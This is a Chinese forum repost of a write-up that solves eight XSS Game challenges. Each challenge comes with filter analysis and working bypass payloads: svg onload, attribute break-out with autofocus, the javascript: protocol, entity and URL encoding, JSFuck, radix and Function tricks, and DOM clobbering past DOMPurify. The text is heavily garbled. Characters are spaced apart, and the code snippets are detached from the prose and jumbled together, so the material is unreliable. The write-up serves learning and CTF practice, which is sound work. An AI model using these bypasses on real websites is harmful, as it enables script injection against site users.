搜索

[15721] 2020-08-12_XSSGame分析以及知识点总结

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2020-08-12_XSSGame分析以及知识点总结 X S S   G a m e 分 析 以 及 知 识 点 总 结 k e n m i c k   F r e e B u f   2 0 2 0 - 0 8 - 1 2 X S S   G a m e   分 析 以 及 知 识 点 总 结 分 析 以 及 知 识 点 总 结 最 近 ， 正 在 学 习 X S S 各 种 B y p a s s 姿 势 ， 发 现 了 某 位 Y o u t u b e r 搭 建 的 X S S   G a m e 平 台 ， 感 觉 还 不 错 ， 正 好 用 来 实 践 X S S   B y p a s s 的 技 巧 。 在 此 分 享 给 大 家 ， 如 有 任 何 问 题 ， 可 留 言 探 讨 。 本 人 也 是 小 白 一 个 ， 文 章 中 如 果 出 现 错 误 ， 请 大 家 指 正 。 题 目 概 述 题 目 概 述 每 道 题 目 会 给 出 X S S 过 滤 器 的 实 现 ， 要 求 在 没 有 用 户 交 互 的 前 提 下 弹 框 （ ） ， 在 C h r o m e 下 测 试 通 过 即 可 。 话 不 多 说 ， 步 入 正 文 。 题 目 题 目 1 .   M a   S p a g h e t 分 析 分 析 ： 本 题 基 本 上 是 送 分 题 ， 没 有 任 何 过 滤 ， 二 话 不 说 直 接 干 。 答 案 答 案 ： 2 .   J e f f f 分 析 分 析 ： 本 题 也 没 有 任 何 过 滤 ， 解 题 的 核 心 在 于 能 让 这 个 变 量 里 包 含 并 且 能 够 执 行 ， 同 时 保 证 这 个 赋 值 语 句 的 语 法 正 确 即 可 。 可 以 选 择 使 用 进 行 分 割 。 答 案 答 案 ： 。 对 答 案 稍 作 解 释 ， 以 免 小 白 不 理 解 。 将 变 量 替 换 后 ， 语 句 变 为 。 首 先 ， 这 是 一 个 合 法 的 表 达 式 。 J S 为 了 进 行 运 算 ， 会 对 每 部 分 进 行 解 析 ， 在 解 析 过 程 中 ， 会 执 行 。 3 .   U g a n d a n   K n u c k l e s 分 析 分 析 ： 从 代 码 中 可 以 看 到 ， 变 量 是 插 入 到 了 元 素 的 属 性 中 ， 同 时 对 尖 括 号 （ ） 进 行 了 过 滤 。 既 然 无 法 使 用 尖 括 号 对 标 签 进 行 闭 合 ， 那 么 可 以 尝 试 用 双 引 号 闭 合 标 签 内 部 的 属 性 。 同 时 ， 使 用 a u t o f o c u s 来 自 动 触 发 o n f o c u s 事 件 中 对 应 的 函 数 ， 避 免 用 户 交 互 。 答 案 答 案 ： 4 .   R i c a r d o   M i l o s 分 析 分 析 ： 从 代 码 中 可 以 看 出 ， 用 户 的 输 入 会 成 为 表 单 提 交 的 U R L 地 址 。 由 于 没 有 任 何 过 滤 ， 可 以 直 接 使 用 伪 协 议 来 执 行 弹 框 。 答 案 答 案 ： 5 .   A h   T h a t ’ s   H a w t 分 析 分 析 ： 本 题 难 度 加 大 一 点 ， 过 滤 掉 了 ) ` 这 几 个 符 号 ， 显 然 不 能 直 接 进 行 弹 框 。 但 是 过 滤 器 并 没 有 考 虑 到 H T M L 实 体 编 码 ， 所 以 我 们 可 以 用 H T M L 实 体 编 码 实 体 编 码 来 绕 过 过 滤 。 同 时 ， 因 为 H T M L 实 体 编 码 中 有 ， 在 传 参 到 U R L 里 时 ， 要 再 经 过 一 次 U R L 编 码 编 码 。 答 案 答 案 ： 6 .   L i g m a 分 析 分 析 ： 根 据 代 码 可 见 ， 过 滤 器 过 滤 掉 了 所 有 的 字 母 和 数 字 。 可 以 采 用 J S F u c k 来 绕 过 。 J S F u c k 可 以 将 正 常 的 J S 代 码 混 淆 为 只 包 含 这 6 种 字 符 的 字 符 串 。 可 查 阅 G i t h u b 来 了 解 J S F u c k 的 具 体 工 作 原 理 。 答 案 答 案 ： 7 .   M a f i a 分 析 分 析 ： 本 题 存 在 三 个 限 制 a l e r t ( 1 3 3 7 ) < ! - -   C h a l l e n g e   - - > < h 2   i d = " s p a g h e t " > < / h 2 > < s c r i p t >       s p a g h e t . i n n e r H T M L   =   ( n e w   U R L ( l o c a t i o n ) . s e a r c h P a r a m s . g e t ( ' s o m e b o d y ' )   | |   " S o m e b o d y " )   +   "   T o u c h a   M a   S p a g h e t ! " < / s c r i p t > < s v g   o n l o a d = a l e r t ( 1 3 3 7 ) > < ! - -   C h a l l e n g e   - - > < h 2   i d = " m a n a m e " > < / h 2 > < s c r i p t >         l e t   j e f f   =   ( n e w   U R L ( l o c a t i o n ) . s e a r c h P a r a m s . g e t ( ' j e f f ' )   | |   " J E F F F " )         l e t   m a   =   " "         e v a l ( ` m a   =   " M a   n a m e   $ { j e f f } " ` )         s e t T i m e o u t ( j e f f a l e r t ( 1 3 3 7 ) m a   =   " M a   n a m e   $ { j e f f } " - " - a l e r t ( 1 3 3 7 ) - " j e f f m a   =   " M a   n a m e   " - a l e r t ( 1 3 3 7 ) - " " - a l e r t ( 1 3 3 7 ) < ! - -   C h a l l e n g e   - - > < d i v   i d = " u g a n d a " > < / d i v > < s c r i p t >         l e t   w e y   =   ( n e w   U R L ( l o c a t i o n ) . s e a r c h P a r a m s . g e t ( ' w e y ' )   | |   " d o   y o u   k n o w   d a   w e y ? " ) ;         w e y   =   w e y . r e p l a c e ( / [ < > ] / g ,   ' ' )         u g a n d a . i n n e r H T M L   =   w e y < i n p u t > < > < i n p u t > " o n f o c u s = a l e r t ( 1 3 3 7 )   a u t o f o c u s = " < ! - -   C h a l l e n g e   - - > < f o r m   i d = " r i c a r d o "   m e t h o d = " G E T " >         < i n p u t   n a m e = " m i l o s "   t y p e = " t e x t "   c l a s s = " f o r m - c o n t r o l "   p l a c e h o l d e r = " T r u e "   v a l u e = " T r u e " > < / f o r m > < s c r i p t >         r i c a r d o . a c t i o n   =   ( r i c a r d o j a v a s c r i p t j a v a s c r i p t : a l e r t ( 1 3 3 7 ) < ! - -   C h a l l e n g e   - - > < h 2   i d = " w i l l " > < / h 2 > < s c r i p t >         s m i t h   =   ( n e w   U R L ( l o c a t i o n ) . s e a r c h P a r a m s . g e t ( ' m a r k a s s b r o w n l e e ' )   | |   " A h   T h a t ' s   H a w t " )         s m i t h   =   s m i t h . r e p l a c e ( / [ ( ` ) ] / g ,   ' ' ( a l e r t ( 1 3 3 7 ) & < ! - -     无 任 何 编 码 - - > < s v g   o n l o a d = " a l e r t ( 1 3 3 7 ) " > < ! - -   H T M L 实 体 编 码   - - > < s v g   o n l o a d = " & # x 6 1 ; & # x 6 C ; & # x 6 5 ; & # x 7 2 ; & # x 7 4 ; & # x 2 8 ; & # x 3 1 ; & # x 3 3 ; & # x 3 3 ; & # x 3 7 ; & # x 2 9 ; " > < ! - -   U R L 编 码 ， 最 终 答 案   - - > % 3 C s v g % 2 0 o n l o a d % 3 D % 2 2 % 2 6 % 2 3 x 6 1 % 3 B % 2 6 % 2 3 x 6 C % 3 B % 2 6 % 2 3 x 6 5 % 3 B % 2 6 % 2 3 x 7 2 % 3 B % 2 6 % 2 3 x 7 4 % 3 B % 2 6 % 2 3 x 2 8 % 3 B % 2 6 % 2 3 x 3 1 % 3 B % 2 6 % 2 3 x 3 3 % 3 B % 2 6 % 2 3 x 3 3 % 3 B % 2 6 % 2 3 x 3 7 % 3 B % 2 6 % 2 3 x 2 9 % 3 B % 2 2 % 3 E / *   C h a l l e n g e   * / b a l l s   =   ( n e w   U R L ( l o c a t i o n ) . s e a r c h P a r a m s . g e t ( ' b a l l s ' )   | |   " N i n j a   h a s   L i g m a " ) b a l l s   =   b a l l s . r e p l a c e ( / [ A - Z a - z 0 - 9 ] / g ,   ' ' ) e v a l ( b a l l s ) [ ,   ] ,   ( ,   ) ,   ! ,   + / /   J S F u c k 转 换 后 的 a l e r t ( 1 3 3 7 ) [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ / *   C h a l l e n g e   * / m a f i a   =   ( n e w   U R L ( l o c a t i o n ) . s e a r c h P a r a m s . g e t ( ' m a f i a ' )   | |   ' 1 + 1 ' ) m a f i a   =   m a f i a . s l i c e ( 0 ,   5 0 ) m a f i a   =   m a f i a . r e p l a c e ( / [ ` ' " + - ! [ ] ] / g i ,   ' _ ' ) m a f i a   =   m a f i a . r e p l a c e (
截 取 长 度 5 0 的 字 符 串 被 替 换 为 被 替 换 为 长 度 的 限 制 导 致 我 们 不 能 像 上 一 题 一 样 直 接 使 用 J S F u c k 来 绕 过 过 滤 。 本 题 的 核 心 是 如 何 绕 过 字 符 串 的 检 测 。 可 以 使 用 如 下 几 种 办 法 。 定 义 匿 名 函 数 ， 利 用 匿 名 函 数 的 参 数 构 造 p a y l o a d ， 同 时 使 用 正 则 表 达 式 来 绕 过 字 符 串 的 检 测 。 利 用 数 字 和 字 符 串 之 间 的 互 相 转 换 ， 来 绕 过 针 对 的 检 测 。 在 U R L 地 址 后 面 加 上 ， 然 后 通 过 来 获 取 p a y l o a d ， 也 能 做 到 绕 过 检 测 。 答 案 答 案 ： 8 .   O k ,   B o o m e r 分 析 分 析 ： 本 题 中 使 用 了 这 个 第 三 方 库 来 过 滤 非 法 字 符 。 同 时 ， 中 的 可 以 接 收 一 个 函 数 或 者 字 符 串 。 如 果 我 们 能 够 向 这 个 变 量 注 入 可 执 行 的 p a y l o a d ， 那 么 也 就 能 成 功 弹 框 。 在 此 ， 我 们 可 以 使 用 的 方 式 ， 通 过 向 H T M L 注 入 D O M 元 素 ， 来 实 现 操 作 J a v a S c r i p t 变 量 。 首 先 ， 要 构 造 一 个 变 量 ， 我 们 可 以 通 过 创 建 一 个 的 D O M 元 素 来 实 现 ， 比 如 。 然 后 ， 要 考 虑 如 何 构 造 这 个 字 符 串 。 需 要 接 受 一 个 字 符 串 作 为 值 ， 而 在 对 标 签 调 用 方 法 时 ， 会 返 回 属 性 的 值 。 所 以 ， 我 们 可 以 选 择 标 签 作 为 构 造 对 象 。 的 值 要 遵 守 的 格 式 。 然 而 ， 在 里 直 接 使 用 协 议 是 不 行 的 。 通 过 查 看 的 源 码 可 以 发 现 ， 它 支 持 的 合 法 的 协 议 有 等 等 ， 随 便 选 择 一 个 即 可 。 答 案 答 案 ： 关 于 D O M   C l o b b e r i n g 的 讲 解 ， 可 以 参 考 这 篇 文 章 总 结 总 结 通 过 这 次 的 X S S   G a m e ， 学 习 到 了 以 下 几 点 常 用 技 巧 ： 能 够 用 来 闭 合 H T M L 标 签 内 部 属 性 。 和 配 合 自 动 触 发 p a y l o a d 执 行 。 伪 协 议 执 行 p a y l o a d 。 H T M L 实 体 编 码 + U R L 编 码 绕 过 某 些 特 殊 符 号 过 滤 。 J S F u c k 混 淆 代 码 。 数 字 转 字 符 串 和 构 造 匿 名 函 数 绕 过 对 某 些 特 定 字 符 串 （ 比 如 a l e r t ） 的 检 查 。 D O M   C l o b b e r i n g ， 通 过 注 入 H T M L 元 素 ， 实 现 对 J a v a S c r i p t 变 量 的 赋 值 操 作 。 精 彩 推 荐 精 彩 推 荐 ` ' " + - ! [ ] _ a l e r t _ a l e r t a l e r t a l e r t # $ { p a y l o a d } l o c a t i o n . h a s h . s l i c e ( 1 ) / /   匿 名 函 数 F u n c t i o n ( / A L E R T ( 1 3 3 7 ) / . s o u r c e . t o L o w e r C a s e ( ) ) ( ) / /   数 字 转 字 符 串 ， 将 3 0 进 制 的 数 字 8 6 8 0 4 3 9 转 换 成 字 符 串 ， 就 是 a l e r t e v a l ( 8 6 8 0 4 3 9 . . t o S t r i n g ( 3 0 ) ) ( 1 3 3 7 ) / /   在 原 始 的 U R L 后 面 加 上   # a l e r t ( 1 3 3 7 ) ， 然 后 通 过 下 面 的 语 句 将 p a y l o a d 取 出 e v a l ( l o c a t i o n . h a s h . s l i c e ( 1 ) ) < ! - -   C h a l l e n g e   - - > < h 2   i d = " b o o m e r " > O k ,   B o o m e r . < / h 2 > < s c r i p t >         b o o m e r . i n n e r H T M L   =   D O M P u r i f y . s a n i t i z e ( n e w   U R L ( l o c a t i o n ) . s e a r c h P a r a m s . g e t ( ' b o o m e r ' )   | |   " O k ,   B o o m e r " )         s e t T i m e o u t ( o k ,   D O M P u r i f y s e t T i m e o u t ( o k ,   2 0 0 0 ) o k o k D O M   C l o b b e r i n g o k i d = o k < d i v   i d = " o k " > < / d i v > a l e r t ( 1 3 3 7 ) o k < a > t o S t r i n g ( ) h r e f < a > h r e f p r o t o c o l : u r i h r e f j a v a s c r i p t : D O M P u r i f y m a i l t o ,   t e l ,   x m p p < a   i d = o k   h r e f = t e l : a l e r t ( 1 3 3 7 ) > - o n f o c u s a u t o f o c u s j a v a s c r i p t :
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理